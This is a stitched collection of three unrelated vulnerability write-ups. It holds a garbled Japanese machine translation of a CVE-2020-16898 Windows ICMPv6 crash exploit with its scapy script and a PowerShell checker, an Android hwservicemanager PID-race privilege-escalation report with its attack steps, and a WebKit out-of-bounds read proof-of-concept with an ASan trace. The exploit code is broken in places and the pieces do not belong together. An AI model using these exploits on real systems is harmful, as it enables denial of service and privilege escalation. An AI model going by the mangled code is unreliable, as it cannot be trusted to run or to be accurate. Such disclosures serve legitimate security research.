
2020年10月14日、モニタリングにより、MicrosoftがTCP/IPリモートコード実行の脆弱性のリスク通知を発行したことが発見されました。脆弱性は、IMCPV6ルーター広告パケットを処理する際のWindows TCP/IPスタックの脆弱性によって引き起こされました。リモート攻撃者は、特別に作成されたICMPV6ルーター広告パケットを構築し、リモートBSODを引き起こす可能性のあるリモートWindowsホストに送信し、脆弱性数はCVE-2020-16898でした。

0x01影響バージョン

オペレーティングシステムバージョンパッチテストWindows 10

x86/x64/arm64

1709

ショ和

Windows 10

x86/x64/arm64

1803

ショ和

Windows 10

x86/x64/arm64

1809

ショ和

Windows 10

x86/x64/arm64

1903

ショ和

Windows 10

x86/x64/arm64

1909

ショ和

Windows 10

x86/x64/arm64

2004年

ショ和

Windows Server 2019

Windows Server 2019(サーバーコアエディション)

Windows Server 1903バージョン(サーバーコアエディション)

Windows Serverバージョン1909(サーバーコアエディション)

Windows Server 2004バージョン(サーバーコアバージョン)

0x02脆弱性の原因

RFC5006の説明によると、RDNSSパッケージの長さは奇妙なはずです。攻撃者によって構築されたRDNSSパッケージの長さの長さが均等である均一である場合、Windows TCP/IPはパケット検査プロセス中の長さに応じて各パッケージのオフセットを取得し、解像度を通過し、IPv6再帰DNSサーバーのアドレスのアドレスの境界解像度の境界解像度のエラーを経て、次のRDNSのオプションを介して攻撃を妨げて攻撃オプションを使用し、次のRDNSのオプションを使用し、次のRDNSオプションを使用して、次のRDNSオプションを使用すると、次のRDNSオプションを使用して、次のRDNSオプションを使用して、次のRDNSオプションを使用して攻撃を妨げているため、攻撃を検証して攻撃を検証しました。システムのクラッシュになります。

0x03脆弱性の再発

攻撃航空機:win10x64

ターゲットマシン:Windows 10x64_1709

1.vmwareを介して被害者ホストのIPv6をオンにします

1049983-20201026093851032-1267701815.png 1049983-20201026093851533-867959393.png

2. CVE-2020-16898.pyスクリプトのIPv6アドレスを変更します。これは、攻撃マシンとターゲットマシンIPv6アドレスの元の接続IPv6アドレスです。

1049983-20201026093852105-277304902.png 1049983-20201026093852661-623439245.png#!/usr/bin/env python3

#CVE-2020-16898の概念実装/BSODエクスプロイト-WindowsTCP/IPリモートコード実行脆弱性

#著者: Adam 'PI3' Zabrocki

#http://pi3.com.pl

scapy.allからimport *

scapy.layers.inet6からIMPMPV6NDOPTEFA、ICMPV6NDOPTRDNSS、ICMPV6ND_RA、IPv6、IPv6ExthDrfragment、fragment6からインポート

V6_DST='FD1533604BA5:5A2B:1008:9D373:36D2:3360336:6496' #targettターゲットマシンIPv6アドレス

V6_SRC='FE803:3360EC1E:A7AA:6717:67C6%13' #ATTACK MANISEローカルリンクIPv6アドレス

p_test_half='a'.encode()*8 + b' \ x18 \ x30 ' + b' \ xff \ x18 '

p_test=p_test_half + 'a'.encode()*4

c=icmpv6ndoptefa()

e=icmpv6ndoptrdnss()

e.len=21

e.dns=[

'AAA:AAAAA:AAA:AAAA:FFF:AAAAAA:AAA:AAAAA33333:AAAA:AAAAAA3:AAAAAA'

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA:AAA3360AAA33:AAAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

aaa=icmpv6ndoptrdnss()

aaa.len=8

pkt=icmpv6nd_ra()/aaa/\

raw(load='a'.encode()*16*2 + p_test_half + b' \ x18 \ xa0 '*6) /c/e/c/e/c/e/c/e/c/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e

p_test_frag=ipv6(dst=v6_dst、src=v6_src、hlim=255)/\

ipv6exthdrfragment()/pkt

l=fragment6(p_test_frag、200)

L:のPの場合

送信(p)

3.最後に、コマンドPIP3インストールSCAPYを使用して依存関係パッケージをインストールし、CVE-2020-16898.pyを実行すると、ターゲットマシンにブルースクリーンが表示されます。

1049983-20201026093853020-2019763768.png 1049983-20201026093853380-926132184.png

4。ローカルチェックスクリプト:CVE-2020-16898_CHECKER.PS1

########################################################################################################################################

### 14/10/2020 -Cyril Pineiro/Synapsys -Itによって書かれています

###ネットワークインターフェイスがCVE-2020-16898 CVE-2020-16899に対して脆弱であるかどうかを確認します

###インターフェイスインデックスとエイリアスを返します

########################################################################################################################################

クリア

$ interfaces=(get -netipinterface | where {$ _。addressfamily -eq 'ipv6'})。ifindex

foreach($ interface in $ interface)

{

[bool] $ vuln=$ false

$ output=netsh int ipv6 sh interfaces interface=$ interface

foreach($ in $ output)

{

if($ line.contains( '6106') - および$ line.contains( 'enabled'))

{

[bool] $ vuln=$ true

}

}

$ netipInterfaceAlias=(((get-netipaddress -interfaceIndex $ interface | select-object interfacealias)[0])。interfacealias

if($ vuln)

{

書き込みホスト「インターフェイス」$($ interface) '' $($ netipinterfacealias) 'はcve-202020-16898 cve-2020-16899' -foregroundcolor redに対して脆弱です

}

それ以外

{

書き込みホスト「インターフェイス」$($ interface) '' $($ netipinterfacealias) ''は、CVE-2020-16898 CVE-2020-16899 '-ForeGroundColor Greenに対して脆弱ではありません

}

}

1049983-20201026093853716-1588600505.png

0x04脆弱性修正

オペレーティングシステムのバージョンを次のリンクから自分で一致させる脆弱性パッチを検索し、パッチをダウンロードしてインストールします

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/cve-2020-16898

0x05参照アドレス

https://github.com/momika233/cve-2020-16898-exp/blob/main/cve-2020-16898.py

https://github.com/cpo-eh/cve-2020-16898_checker/blob/main/cve-2020-16898_checker.ps1

https://github.com/ascotbe/kernelhub/tree/master/cve-2020-16898

This bug is similar to Jann Horn's issue (https://bugs.chromium.org/p/project-zero/issues/detail?id=851) -- credit should go to him.

The hardware service manager allows the registration of HAL services. These services are used by the vendor domain and other core processes, including system_server, surfaceflinger and hwservicemanager.

Similarly to the "regular" service manager ("servicemanager"), the hardware service manager is the context manager node for the "hwbinder" device, allowing it to mediate access to all hardware services registered under it. This is done by allowing its users to list, access or insert services into its registry, identified by a unique full-qualified name and an instance name (see http://androidxref.com/8.0.0_r4/xref/system/libhidl/transport/manager/1.0/IServiceManager.hal).

The "add" binder call allows callers to supply a binder instance to be registered with the hardware service manager. When issued, the call is unpacked by the auto-generated hidl stub, and then passed to "ServiceManager::add" for processing. Here is a snippet from that function (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/ServiceManager.cpp#172):

1.  Return<bool> ServiceManager::add(const hidl_string& name, const sp<IBase>& service) {
2.      ...
3.      // TODO(b/34235311): use HIDL way to determine this
4.      // also, this assumes that the PID that is registering is the pid that is the service
5.      pid_t pid = IPCThreadState::self()->getCallingPid();
6. 
7.      auto ret = service->interfaceChain([&](const auto &interfaceChain) {
8.      if (interfaceChain.size() == 0) {
9.          return;
10.    }
11.
12.    // First, verify you're allowed to add() the whole interface hierarchy
13.    for(size_t i = 0; i < interfaceChain.size(); i++) {
14.        std::string fqName = interfaceChain[i];
15.        if (!mAcl.canAdd(fqName, pid)) {
16.            return;
17.        }
18.    }
19.    ...
20.}

As we can see in the snippet above, the function first records the pid of the calling process (populated into the transaction by the binder driver). Then, it issues a (non-oneway) transaction to the given service binder, in order to retrieve the list of interfaces corresponding to the given instance. As the comment correctly notes (lines 3-4), this approach is incorrect, for two reasons:

  1. The given service can be hosted in a different process to the one making the binder call
  2. Recording the pid does not guarantee that the calling process cannot transition from zombie to dead, allowing other processes to take its place

The pid is later used by the AccessControl class in order to perform the access control check, using getpidcon (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/AccessControl.cpp#63). Consequently, an attack similar to the one proposed by Jann in the original bug is possible - namely, creating a race condition where the issuing process transitions to dead state, and a new privileged tid to be created in its place, causing the access control checks to be bypassed (by using the privileged process's SELinux context).

Furthermore, this code would have been susceptible to another vulnerability, by James Forshaw (https://bugs.chromium.org/p/project-zero/issues/detail?id=727) - namely, the caller can issue a "oneway" binder transaction in the "add" call, causing the calling pid field recorded by the driver to be zero. In such a case, getpidcon(0) is called, which would have returned the current process's context (the hardware service manager can register several critical services, including the "HIDL manager" and the "Token Manager"). However, this behaviour has since been changed in upstream libselinux (https://patchwork.kernel.org/patch/8395851/), making getpidcon(0) calls invalid, and therefore avoiding this issue.

However, an alternate exploit flow exists, which allows the issue to be exploited deterministically with no race condition required. Since the code above issues a non-oneway binder transaction on the given binder object, this allows the following attack flow to occur:

1. Process A creates a hardware binder service
2. Process A forks to create process B
3. Process B receives binder object from process A
4. Process B registers the binder object with the hardware service manager, by calling the "add" binder call
5. Hardware service manager executes "ServiceManager::add", records process B's pid, calls the (non-oneway) "interfaceChain" binder call on the given binder
6. Process A receives the "interfaceChain" binder call
7. Process A kills process B
8. Process A forks and kills the child processes, until reaching the pid before process B's pid 
9. Process A calls the "loadSoundEffects" binder call on the "audio" service, spawning a new long-lived thread in system_server ("SoundPoolThread")
10. The new thread occupies process B's pid
11. Process A completes the "interfaceChain" transaction
12. Hardware service manager uses system_server's context to perform the ACL check

This attack flow allows a caller to replace any service published by system_server, including "IBase", "ISchedulingPolicyService" and "ISensorManager", or register any other services of behalf of system_server.

Note that in order to pass the binder instance between process A and process B, the "Token Manager" service can be used. This service allows callers to insert binder objects and retrieve 20-byte opaque tokens representing them. Subsequently, callers can supply the same 20-byte token, and retrieve the previously inserted binder object from the service. The service is accessible even to (non-isolated) app contexts (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).

I'm attaching a PoC which performs the aforementioned attack flow, resulting in the "IBase" service (default instance) being hijacked. Running the PoC should result in the following output:

        pid=23701
        service manager: 0x7d0b44b000
        token manager: 0x7d0b44b140
        TOKEN: 0502010000000000B78268179E69C3B0EB6AEBFF60D82B42732F0FF853E8773379A005493648BCF1
        05 02 01 00 00 00 00 00 B7 82 68 17 9E 69 C3 B0 EB 6A EB FF 60 D8 2B 42 73 2F 0F F8 53 E8 77 33 79 A0 05 49 36 48 BC F1 
        pid=23702
        service manager: 0x72e544e000
        token manager: 0x72e544e0a0
        token manager returned binder: 0x72e544e140
        Registering service...
        interfaceChain called!
        load: 0
        Killing the child PID: 0
        waitpid: 23702
        Cycling to pid
        unload: 0
        load: 0

After running the PoC, the IBase service will be replaced with our own malicious service. This can be seen be running "lshal":

        All binderized services (registered services through hwservicemanager)
        Interface                                                         Server                     Clients
        ...
        android.hidl.base@1.0::IBase/default                              23701 (<-our pid)          463

Note that this attack can also be launched from an application context (with no required permissions), as apps can access both the "hwbinder" (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#186) and the token service (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).

The attached PoC should be built as part of the Android source tree, by extracting the source files into "frameworks/native/cmds/hwservice", and running a build (e.g., "mmm hwservice"). The resulting binary ("hwservice") contains the PoC code.

It should be noted that the hardware service manager uses the PID in all other calls ("get", "getTransport", "list", "listByInterface", "registerForNotifications", "debugDump", "registerPassthroughClient") as well.

These commands are all similarly racy (due to the getpidcon(...) usage), but are harder to exploit, as no binder call takes place prior to the ACL check.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43513.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1349

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<style>
* { border-bottom: green solid; margin: 0px; }
</style>
<script>
function eventhandler() {
  dd.before(a);
  document.caretRangeFromPoint(0,0);
}
</script>
<h6>
<a id="a"></a>
</h6>
<dd id="dd"></dd>
<svg>
<set attributeName="dominant-baseline" onbegin="eventhandler()" />

/*
=================================================================

ASan log:

=================================================================
==30436==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000560c48 at pc 0x00010c8f583a bp 0x7fff5c1a8e70 sp 0x7fff5c1a8e68
READ of size 4 at 0x606000560c48 thread T0
==30436==WARNING: invalid path to external symbolizer!
==30436==WARNING: Failed to use and restart external symbolizer!
    #0 0x10c8f5839 in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839)
    #1 0x10c8fd2cb in WebCore::SimpleLineLayout::RunResolver::runForPoint(WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bac2cb)
    #2 0x10c8f533f in WebCore::SimpleLineLayout::textOffsetForPoint(WebCore::LayoutPoint const&, WebCore::RenderText const&, WebCore::SimpleLineLayout::Layout const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba433f)
    #3 0x10c635a06 in WebCore::RenderText::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4a06)
    #4 0x10c2f5080 in WebCore::RenderBlockFlow::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25a4080)
    #5 0x10a4e350a in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79250a)
    #6 0x10a4e3301 in WebCore::Document::caretRangeFromPoint(int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x792301)
    #7 0x10b0fb98b in WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13aa98b)
    #8 0x10b0e0c28 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138fc28)
    #9 0x4f28e9401027  (<unknown module>)
    #10 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #11 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #12 0x118258f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #13 0x117ebc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #14 0x117e3d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #15 0x117456731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #16 0x1174569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #17 0x117456d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #18 0x10af8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #19 0x10b3a26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #20 0x10a70e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #21 0x10a70dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #22 0x10a6d5b97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #23 0x10a6d6b2f in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985b2f)
    #24 0x10a6d6553 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985553)
    #25 0x10cc0d5f2 in WebCore::SVGSMILElement::dispatchPendingEvent(WebCore::EventSender<WebCore::SVGSMILElement>*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc5f2)
    #26 0x10cc0d92a in WebCore::EventSender<WebCore::SVGSMILElement>::dispatchPendingEvents() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc92a)
    #27 0x10ccfd242 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fac242)
    #28 0x10bebbe74 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x216ae74)
    #29 0x7fffd5298c53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #30 0x7fffd52988de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #31 0x7fffd5298439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #32 0x7fffd528fb80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #33 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #34 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #35 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #36 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #37 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #38 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #39 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #40 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #41 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #42 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #43 0x103a5356c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #44 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x606000560c48 is located 8 bytes to the right of 64-byte region [0x606000560c00,0x606000560c40)
allocated by thread T0 here:
    #0 0x103abbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x118927ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x118925d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x1188ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x1188ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10c8e7fdc in WebCore::SimpleLineLayout::Layout::create(WTF::Vector<WebCore::SimpleLineLayout::Run, 10ul, WTF::CrashOnOverflow, 16ul> const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b96fdc)
    #7 0x10c8e78ff in WebCore::SimpleLineLayout::create(WebCore::RenderBlockFlow&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b968ff)
    #8 0x10c2d8cb5 in WebCore::RenderBlockFlow::layoutSimpleLines(bool, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2587cb5)
    #9 0x10c2d25f7 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25815f7)
    #10 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #11 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #12 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #13 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #14 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #15 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #16 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #17 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #18 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #19 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #20 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #21 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #22 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #23 0x10c69168d in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294068d)
    #24 0x10c6920b4 in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29410b4)
    #25 0x10a8d526d in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb8426d)
    #26 0x10a4e1b10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)
    #27 0x10cd35b2f in WebCore::absolutePointIfNotClipped(WebCore::Document&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4b2f)
    #28 0x10cd35809 in WebCore::TreeScope::nodeFromPoint(WebCore::LayoutPoint const&, WebCore::LayoutPoint*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4809)
    #29 0x10a4e349b in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79249b)

